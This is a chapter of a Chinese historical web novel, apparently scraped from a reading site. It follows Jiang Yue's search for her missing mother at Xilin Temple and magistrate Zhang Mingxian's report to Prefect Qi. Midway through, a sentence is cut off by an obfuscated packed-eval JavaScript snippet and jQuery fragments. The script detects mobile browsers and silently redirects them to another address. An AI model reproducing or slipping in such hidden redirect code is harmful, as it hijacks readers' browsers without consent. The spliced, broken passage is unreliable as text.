次日清早，天蒙蒙亮，姜樾便与姜成颂、宋秦一同出门寻找姚华年，按着姚华年出行的道路，一点点找下去。


    “就是这里，这座寺庙，姚夫人听说这边的平安福能够驱散邪祟，保佑子女平安顺遂，便挑了个吉日前来。”宋秦指着眼前的寺庙。


    西临寺三个大字渡着金色，在清晨的暖阳下发光，足矣表明寺庙的香火旺盛。


    再往内走，一些僧弥跪拜在佛前，虔诚的祷念。


    由于到的太早，寺庙内并无几人，姜樾也不便打扰僧弥们做早课，便在寺庙外不远处的茶棚休息片刻。


    “你说娘亲就是在这个寺庙内失踪的？”姜樾再次与宋秦确定细节。


    宋秦再三确认自己没有记错：“对，姚夫人求了平安符，便用了点斋饭，借过没过多久便嚷着肚子疼，往后院如厕去了。”


    宋秦一边说一边懊恼，双手在桌上不断绞着丝绢儿：“早知道我就应当与夫人一同前去的。”


    姜成颂却对宋秦的懊恼表示反对：“阿秦姐姐，若你与娘亲一同去了，万一一起不见了，连个报信的人都没了，那才是真的不妙，起码这会儿我们还能得知娘亲的行踪。”


    姜樾像姜成颂投去赞同的目光：“看来成颂在学堂没有空读书嘛，还是聪明了不少。”


    姜樾想摸姜成颂的头，却被他巧妙地躲开了：“别摸，长不高，先找娘亲。”


    这时，路边来了一行人，看上去像是要上西临寺上香的，姜樾便主动上前。


    “这位夫人，可是要去西临寺？”


    那位衣着华贵的妇人抬头看了看姜樾一行人：“正是，诸位有何事？”


    姜樾：“我们也是前去上香祈求平安的，不过由于来的太早，小师父们在做功课便在这等候，见夫人的模样，像是常来此处，想与夫人一同前往。”


    “阿弥陀佛，小娘子跟上吧，这会儿小师父们应当做完功课了。”


    姜樾得知这位夫人姓程，是隔壁莲花县的人，当时莲花县大水，恰好她夫君带着全家到了这西临寺小住，于是一家无恙，便每月都来还愿求平安。


    姜樾随着程娘子一同来到西临寺门口，小师父们果然做完了功课。


    “程娘子安。”


    “小师父安。”


    二人相互打过招呼后便径直入内。


    姜樾带着姜成颂、宋秦上了一炷香后，又让宋秦带着走过姚华年走过的路，但并未发现任何异常。


    “茅厕呢？”姜樾又问。


    宋秦指了指方向：“穿过这个月洞门，左转进入一个角门，穿进去再左转就是了，不远的。”


    姜樾点头：“阿秦与我去一趟，成颂在这边等我。”


    姜樾安排完便与宋秦前往茅厕，将每一间房都仔细观察了一番，也并无什么挣扎痕迹。


    “所以昨日，你是在成颂如今所在的位置等我娘亲的？”


    宋秦：“是，因为有平安福，夫人怕沾了晦气，便让我老远等着。”


    沿着昨日路线没有找到，姜樾最终决定向官府报案。


    官府的人来到西临寺，主持主动接待接受查验，依旧没有发现任何可疑踪迹，且每日进入过西临寺的人都有登记在册，求过平安符的人也有记录。


    查阅记录只能证明昨日里姚华年确实来过此处，但依旧一无所获。


    夜里，姜樾无眠，闭上的眼睁了又合，在松软的床榻上辗转反侧。


    自来到这里的两年多，她忙于画房、忙于县衙、又借着南阳先生与商铺多方拉扯，银钱赚了不少。


    忙着安身立命，但却忽视了家庭，有宋秦帮着操持家务，姜成颂在家陪伴姚华年，自己则时不时往送些银钱添置新衣，家中用具也逐渐更换成了上好的用品。


    直到姚华年失踪，她才后知后觉自己错过了什么，她甚至不知道自己娘亲喜欢什么样的胭脂，爱逛什么铺子，只享受着姚华年的温柔，眷恋母亲的怀抱。


    姜樾坐起，索性睡不着，便借着月华的余晕，抹黑翻找出火折子。


    掀开盖子，轻轻一吹，明亮的光在黑夜中蔓延开来，照亮了房间，姜樾将烛台点燃，又装上灯罩防风。


    推开房门，顺着屋檐行走，忽然感觉脸上传来冰冷的刺痛感，分不清是风还是雨，她将手伸出屋檐外。


    微雨如酥。


    姜樾打了一个寒颤，将手拢到袖子里，过完年不过两月，夜里的寒潮尚未褪去，雨时凉意更甚。


    姜樾加快步伐，来到书房内，又迅速将几盏烛火点亮，搓了搓有些冻得发麻的手，靠近烛火熏烤一会儿感觉到触觉的恢复，便来到案前。


    熟稔的将厚宣纸用裁刀裁成四尺三开大小，抬手间勾勒出姚华年的大致模样。


    但绘到面容时，却无从下笔。


    太过熟悉的人物，总是极难绘制的，修修改改又撕毁重来，不知重复了多少次，依旧觉得与印象中的姚华年相去甚远。


    烛火随着窗外不经意溜进来的风韵律跃动，一宿未眠，直到东方既白。


    姜樾搁置手中的笔，将画好的画拿起仔细端详，废了一夜功夫总算将姚华年的模样绘制出来，入木三分，哪怕是从未见过姚华年的人也能一眼认出。


    姜樾拿着新画好的肖像，来到县衙找到蒋良因。


    “前日我娘亲失踪，昨日我来报过案，夜里画了图，想请蒋大人帮忙寻找一二。”姜樾将自己画好的肖像递给蒋良因。


    蒋良因接过画像：“姜大娘子的画自然是没有问题的，但这寻人一事只能随缘，我也不能保证一定能找到。”


    姜樾自然知晓寻人一事有多难，但总得试试，昨日查了西临寺，并无异样，靠着画像找人也不失为一法子，她深吸一口气：“无碍，只能慢慢找。”


    县衙的效率很快，姜樾的寻人启事很快就贴到了公示栏，衙役贴好后转身对姜樾道：“娘子放心，若是有新的消息必然会着人通知您。”


    姜樾点点头表示知晓了，便回到家中。


    张明贤到了梁溪歇息了两日，再一次适应梁溪的风光，又与谢凌云等昔日故友小聚片刻。


    张明贤感念谢凌云昔日恩情，帮他从文渊阁总多书籍中翻找出《历代水文实录》，又誊抄后寄给他，便相约于东垆酒楼小聚。


    东垆酒楼盛名已久，是梁溪最好的酒楼，其中梨花白更是一绝。


    “这一杯谢谢兄从文渊阁不辞辛劳，替愚弟解围。”张明贤端起酒杯，敬上谢凌云。


    谢凌云接过酒盏，一饮而尽：“哪里哪里，都是贤弟机敏才得以取得成效。”


    ……


    张明贤与谢凌云许久未见，一时倒是喝痛快了，夜里回到家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404023|165486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中便开始呕吐出来。


    柳戚不过去给张明贤熬了碗醒酒汤的功夫，这人就已经吐得昏天黑地。


    地上一滩青白的污秽之物，酒气与胃酸混合，味道极为诡异，所幸吐则吐矣，并未呛着人，柳戚回到房间见此场景，将醒酒汤放到桌上，又从灶台下找了一小半盆草木灰洒在张明贤的呕吐物上覆盖住。


    打了一盆清水擦拭身上、床边的污秽，又喂了几口水给他清理口腔。


    柳戚长吁一声“哎！不能喝就不能少喝些么？”然后强行灌下醒酒汤。


    次日，张明贤醒来。


    脑袋昏沉，总觉得发生了什么事被自己遗忘了。但一身酸臭味极为难忍受。


    张明贤：“柳戚，可有热水?”


    柳戚看着张明贤嫌弃自己身上的味道：“这会儿知道难闻了？郎君也不知晓节制，那梨花白是那样好入口的么？连累的昨夜收拾了半宿污秽之物。”


    柳戚说的直白，张明贤脑海里浮现出画面，怎一个糟糕了的？


    扶额无奈道：“好阿戚啊~莫要再说了，以后一定注意！”


    张明贤沐浴后，就听来人道齐大人有请。


    梁溪府尹姓齐，张明贤思忖在约莫是前几日上报的述职文书被查阅了，此刻传唤他去询问细节，连忙收拾好衣衫。


    张明贤穿着青袍官服，束好革带，整理好衣冠便随来人前去。


    张明贤对齐大人印象不深，从前在翰林院便没怎么见过，后来一直在东望，也只是信件交流过。


    齐恒之身着红色官服，位居主位坐下。


    “下官张昧，见过齐大人。”张明贤对着齐恒之见礼，齐恒之见张明贤来到，让他居左首位坐下。


    齐恒之翻阅张明贤递交的文书，上记载着东望县两年多以来发生的大事件，一如昌平帝关注的昌平三十九年东望萧河决堤一事情，又如官道修缮一事。


    作为梁溪府的管辖范围，齐恒之有必要全部了解。


    齐恒之：“为何萧河改道，位于相对上游的东望县损失反而比沿途的莲花县要少上如此之多？”


    张明贤如数道来：“因东望县并不完全包含萧河，萧河只在东望最南处穿过，而南郊与城南之间有一处断崖，水流便沿着断崖顺势下去，而城南的人家在大水之前绝大部分已经搬到了南郊，因此，东望县人员伤亡极小，但屋舍损失亦是严重。”


    齐恒之再问：“为何修缮竹林官道？”


    张明贤：“下官在县域内巡视时，发现商铺若是想往外售卖些东西，走那道官道极为困难，而那道路作为官道应当是联系东望县与梁溪府的纽带，而不应如此不便利，因而组织人员修缮。”


    “可有遇到什么困难？”齐恒之以为这般大的工程仅仅靠一县之力极难完成，便问到其中苦楚。


    张明贤不假思索：“有两处困难。一是新笋出芽快，但我们用砂浆增加路面强度，又用不利于竹子生长的草木灰夯实土壤，二是工钱不足，但有一女子贡献数千两银票度过难关。”


    齐恒之惊奇了，世间女子多擅琴棋书画的雅致玩意，难不成是哪家富户的小娘子：“女子？”


    张明贤答曰：“是也，此女名唤姜成荣，聪明善良且心思细腻，尤为擅长画作，下官聘请她教授县衙画师画作，画出的罪犯能与罪犯原本模样相差无几。”